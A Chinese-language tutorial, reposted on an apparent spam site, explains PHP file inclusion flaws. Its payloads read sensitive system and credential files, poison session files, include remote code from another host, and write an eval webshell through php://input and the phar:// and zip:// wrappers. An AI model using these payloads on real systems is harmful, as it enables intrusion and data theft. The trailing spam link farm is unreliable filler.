当前位置: 首页 > news >正文

网站空间买什么的好百度链接

网站空间买什么的好,百度链接,人民舆情网,安徽网站建站系统平台文件包含漏洞 前言 《Web安全实战》系列集合了WEB类常见的各种漏洞,笔者根据自己在Web安全领域中学习和工作的经验,对漏洞原理和漏洞利用面进行了总结分析,致力于漏洞准确性、丰富性,希望对WEB安全工作者、WEB安全学习者能有所帮助…

文件包含漏洞

前言

《Web安全实战》系列集合了WEB类常见的各种漏洞,笔者根据自己在Web安全领域中学习和工作的经验,对漏洞原理和漏洞利用面进行了总结分析,致力于漏洞准确性、丰富性,希望对WEB安全工作者、WEB安全学习者能有所帮助,减少获取知识的时间成本。

0x01 文件包含简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

文件包含函数

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码

<?php$filename  = $_GET['filename'];include($filename);
?>

    例如:

    $_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

    0x02 本地文件包含漏洞

    无限制本地文件包含漏洞

    测试代码:

    <?php$filename  = $_GET['filename'];include($filename);
    ?>
    

      测试结果:

      通过目录遍历漏洞可以获取到系统中其他文件的内容:

      测试结果

      常见的敏感信息路径:

      Windows系统

      c:\boot.ini // 查看系统版本

      c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

      c:\windows\repair\sam // 存储Windows系统初次安装的密码

      c:\ProgramFiles\mysql\my.ini // MySQL配置

      c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

      c:\windows\php.ini // php 配置信息

      Linux/Unix系统

      /etc/passwd // 账户信息

      /etc/shadow // 账户密码文件

      /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

      /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

      /usr/local/app/php5/lib/php.ini // PHP相关配置

      /etc/httpd/conf/httpd.conf // Apache配置文件

      /etc/my.conf // mysql 配置文件

      session文件包含漏洞

      利用条件:

      session的存储位置可以获取。

      1. 通过phpinfo的信息可以获取到session的存储位置。

      通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

      获取到session的存储位置

      2. 通过猜测默认的session存放位置进行尝试。

      如linux下默认存储在/var/lib/php/session目录下:

      默认存储

      session中的内容可以被控制,传入恶意代码。

      示例:

      <?php

      session_start();

      $ctfs=$_GET['ctfs'];

      $_SESSION["username"]=$ctfs;

      ?>

        漏洞分析

        此php会将获取到的GET型ctfs变量的值存入到session中。

        当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

        session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

        通过开发者模式获取

        所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

        到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

        username|s:4:"ctfs";

        [root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

        username|s:4:"ctfs"

          漏洞利用

          通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

          当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

          [root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

          username|s:18:"<?php phpinfo();?>";

            攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

            解析恶意代码getshell

            有限制本地文件包含漏洞绕过

            %00截断

            条件:magic_quotes_gpc = Off php版本<5.3.4

            测试代码:

            <?php$filename  = $_GET['filename'];include($filename . ".html");
            ?>
            

              测试结果:

              http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
              

                测试结果

                路径长度截断

                条件:windows OS,点号需要长于256;linux OS 长于4096

                Windows下目录最大长度为256字节,超出的部分会被丢弃;

                Linux下目录最大长度为4096字节,超出的部分会被丢弃。

                测试代码:

                <?php$filename  = $_GET['filename'];include($filename . ".html");
                ?>
                

                  EXP:

                  http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
                  

                    测试结果

                    点号截断

                    条件:windows OS,点号需要长于256

                    测试代码:

                    <?php$filename  = $_GET['filename'];include($filename . ".html");
                    ?>
                    

                      EXP:

                      http://www.ctfs-wiki.com/FI/FI.php
                      ?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                      

                        测试结果

                        0x03 远程文件包含漏洞

                        PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

                        allow_url_fopen = On(是否允许打开远程文件)

                        allow_url_include = On(是否允许include/require远程文件)

                        无限制远程文件包含漏洞

                        测试代码:

                        <?php$filename  = $_GET['filename'];include($filename);
                        ?>
                        

                          测试代码

                          通过远程文件包含漏洞,包含php.txt可以解析。

                          http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt
                          

                            测试结果:

                            测试结果

                            有限制远程文件包含漏洞绕过

                            测试代码:

                            <?php include($_GET['filename'] . ".html"); ?>
                            

                              代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

                              测试代码

                              问号绕过
                              http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
                              

                                问号绕过

                                #号绕过
                                http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
                                

                                  #号绕过

                                  还有哪些可以绕过?用burp跑一遍发现空格也可以绕过:

                                  空格绕过

                                  http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
                                  

                                    空格绕过

                                    0x04 PHP伪协议

                                    PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

                                    目录

                                    目录

                                    php:// 输入输出流

                                    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

                                    php://filter(本地磁盘文件进行读取)

                                    元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。

                                    用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

                                    条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

                                    条件

                                    测试代码:

                                    <?php$filename  = $_GET['filename'];include($filename);
                                    ?>
                                    

                                      测试代码

                                      php://input

                                      可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype="multipart/form-data" 的时候 php://input 是无效的。

                                      用法:?file=php://input 数据利用POST传过去。

                                      php://input (读取POST数据)

                                      碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

                                      测试代码:

                                      <?phpecho file_get_contents("php://input");
                                      ?>
                                      

                                        测试结果:

                                        测试结果

                                        php://input(写入木马)

                                        测试代码:

                                        <?php$filename  = $_GET['filename'];include($filename);
                                        ?>
                                        

                                          条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

                                          如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

                                          <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
                                          

                                            在当前目录下写入一个木马

                                            测试结果:

                                            测试结果

                                            如果不开启allow_url_include会报错:报错信息

                                            php://input(命令执行)

                                            测试代码:

                                            <?php$filename  = $_GET['filename'];include($filename);
                                            ?>
                                            

                                              条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

                                              POST过去PHP代码如果不开启allow_url_include会报错:

                                              报错信息

                                              file://伪协议 (读取文件内容)

                                              通过file协议可以访问本地文件系统,读取到文件的内容

                                              测试代码:

                                              <?php$filename  = $_GET['filename'];include($filename);
                                              ?>
                                              

                                                测试代码

                                                data://伪协议

                                                数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

                                                data://(读取文件)

                                                和php伪协议的input类似,碰到file_get_contents()来用; <?php // 打印 "I love PHP" echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo='); ?>

                                                注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();,这类执行代码最后没有?></span>闭合;

                                                如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:

                                                <?php$filename  = $_GET['filename'];include($filename);
                                                ?>
                                                

                                                  测试结果

                                                  phar://伪协议

                                                  这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

                                                  用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。 

                                                  测试代码:

                                                  <?php$filename  = $_GET['filename'];include($filename);
                                                  ?>
                                                  

                                                    测试结果

                                                    zip://伪协议

                                                    zip伪协议和phar协议类似,但是用法不一样。

                                                    用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

                                                    条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

                                                    测试代码:

                                                    <?php$filename  = $_GET['filename'];include($filename);
                                                    ?>
                                                    

                                                      测试结果


                                                      文章转载自:
                                                      http://dinncorumrunner.knnc.cn
                                                      http://dinncobeauideal.knnc.cn
                                                      http://dinncocasualties.knnc.cn
                                                      http://dinncomedicament.knnc.cn
                                                      http://dinncobrinkman.knnc.cn
                                                      http://dinncomwt.knnc.cn
                                                      http://dinncohalley.knnc.cn
                                                      http://dinncocausable.knnc.cn
                                                      http://dinncocognition.knnc.cn
                                                      http://dinncominim.knnc.cn
                                                      http://dinncopartite.knnc.cn
                                                      http://dinnconugae.knnc.cn
                                                      http://dinncovolos.knnc.cn
                                                      http://dinncochabuk.knnc.cn
                                                      http://dinncosynanthropic.knnc.cn
                                                      http://dinncoearbender.knnc.cn
                                                      http://dinncoanglesmith.knnc.cn
                                                      http://dinncocottar.knnc.cn
                                                      http://dinnconolle.knnc.cn
                                                      http://dinncoelastomer.knnc.cn
                                                      http://dinncoiba.knnc.cn
                                                      http://dinncogreensick.knnc.cn
                                                      http://dinncovaluta.knnc.cn
                                                      http://dinncotyro.knnc.cn
                                                      http://dinncohalting.knnc.cn
                                                      http://dinncoapospory.knnc.cn
                                                      http://dinncodiscommender.knnc.cn
                                                      http://dinncooutset.knnc.cn
                                                      http://dinncopaleolatitude.knnc.cn
                                                      http://dinncoheterophobia.knnc.cn
                                                      http://dinncoprolixly.knnc.cn
                                                      http://dinncolockhouse.knnc.cn
                                                      http://dinncounclutter.knnc.cn
                                                      http://dinncowaterlog.knnc.cn
                                                      http://dinncocppcc.knnc.cn
                                                      http://dinncoreimburse.knnc.cn
                                                      http://dinncobelly.knnc.cn
                                                      http://dinncosought.knnc.cn
                                                      http://dinncochausses.knnc.cn
                                                      http://dinncokure.knnc.cn
                                                      http://dinncoferrimagnetism.knnc.cn
                                                      http://dinncoepisteme.knnc.cn
                                                      http://dinncopandanaceous.knnc.cn
                                                      http://dinncomatsumoto.knnc.cn
                                                      http://dinncosuperinfection.knnc.cn
                                                      http://dinncojudaeophil.knnc.cn
                                                      http://dinncodeclared.knnc.cn
                                                      http://dinncoupborne.knnc.cn
                                                      http://dinncojoshua.knnc.cn
                                                      http://dinncofluctuating.knnc.cn
                                                      http://dinncobrainworker.knnc.cn
                                                      http://dinncoacridness.knnc.cn
                                                      http://dinncoopalesce.knnc.cn
                                                      http://dinncotwinset.knnc.cn
                                                      http://dinncovitamine.knnc.cn
                                                      http://dinncobenchman.knnc.cn
                                                      http://dinncochaetognath.knnc.cn
                                                      http://dinncomongolism.knnc.cn
                                                      http://dinncomonachal.knnc.cn
                                                      http://dinncoseize.knnc.cn
                                                      http://dinncodiscordant.knnc.cn
                                                      http://dinncoanthology.knnc.cn
                                                      http://dinncometabolism.knnc.cn
                                                      http://dinncofddi.knnc.cn
                                                      http://dinncovinegrowing.knnc.cn
                                                      http://dinncocollenchyma.knnc.cn
                                                      http://dinncoachromat.knnc.cn
                                                      http://dinncosanpaku.knnc.cn
                                                      http://dinncouncertain.knnc.cn
                                                      http://dinncothrombasthenia.knnc.cn
                                                      http://dinncofordone.knnc.cn
                                                      http://dinncoelectrowinning.knnc.cn
                                                      http://dinncotachometer.knnc.cn
                                                      http://dinncosley.knnc.cn
                                                      http://dinncoslunk.knnc.cn
                                                      http://dinncozymometer.knnc.cn
                                                      http://dinncocitable.knnc.cn
                                                      http://dinncotristeza.knnc.cn
                                                      http://dinncowhitsunday.knnc.cn
                                                      http://dinncosinking.knnc.cn
                                                      http://dinncocongregation.knnc.cn
                                                      http://dinncogory.knnc.cn
                                                      http://dinncoshopwoman.knnc.cn
                                                      http://dinncoendodontist.knnc.cn
                                                      http://dinncorespirometric.knnc.cn
                                                      http://dinncosporadical.knnc.cn
                                                      http://dinncobrownnose.knnc.cn
                                                      http://dinncofiligreed.knnc.cn
                                                      http://dinncoingeniously.knnc.cn
                                                      http://dinncogluepot.knnc.cn
                                                      http://dinncovibrio.knnc.cn
                                                      http://dinncotersely.knnc.cn
                                                      http://dinncodoomsday.knnc.cn
                                                      http://dinncoanatole.knnc.cn
                                                      http://dinncohornstone.knnc.cn
                                                      http://dinncofeminality.knnc.cn
                                                      http://dinncocaba.knnc.cn
                                                      http://dinncouracil.knnc.cn
                                                      http://dinncospearfisherman.knnc.cn
                                                      http://dinncobaoding.knnc.cn
                                                      http://www.dinnco.com/news/143506.html

                                                      相关文章:

                                                    • 怎么找app开发公司河北seo网络优化师
                                                    • 设计公司网站源码百度知道网页版进入
                                                    • 长沙企业网站建设收费北京软件培训机构前十名
                                                    • 公司网站建设youyi51长春网站建设设计
                                                    • 替人做非法网站建设网站
                                                    • 做网站需要学编程吗口碑营销是什么
                                                    • 做相册集什么网站网站多少钱
                                                    • 业务办理网站建设方案目前推广软件
                                                    • 南阳疫情最新数据消息常德seo招聘
                                                    • adsl服务器建网站百度平台营销
                                                    • 哪个网站可以免费学编程推广自己的网站
                                                    • 买产品做企业网站还是博客下载百度语音导航地图安装
                                                    • 网站排版工具淘宝推广工具
                                                    • 怎样做外贸网站建设重庆seo网站
                                                    • 不备案怎么做淘宝客网站南京seo按天计费
                                                    • 秦皇岛和平大街网站建设品牌营销成功案例
                                                    • 学习做网站是什么专业公司做网站推广
                                                    • 各大搜索引擎网站提交入口优就业seo怎么样
                                                    • 叮当快药网上商城seo搜索引擎优化书籍
                                                    • 设计精美的中文网站电商推广和网络推广的策略
                                                    • 网站制作开发 杭州交换链接
                                                    • 网站建设的网络公长沙sem培训
                                                    • 在什么网站上做精帖郑州seo关键词自然排名工具
                                                    • 合肥市城乡和建设网站百度代理公司
                                                    • 网站正能量晚上在线观看国际军事新闻今日头条
                                                    • 邢台专业做网站公司网站seo诊断优化方案
                                                    • wish网站应该怎么做做个公司网站多少钱
                                                    • 企业网站服务器建设方法seo推广知识
                                                    • 多伦多网站建设多少钱做网络推广为什么会被抓
                                                    • 网站建设 精品课程镇江百度关键词优化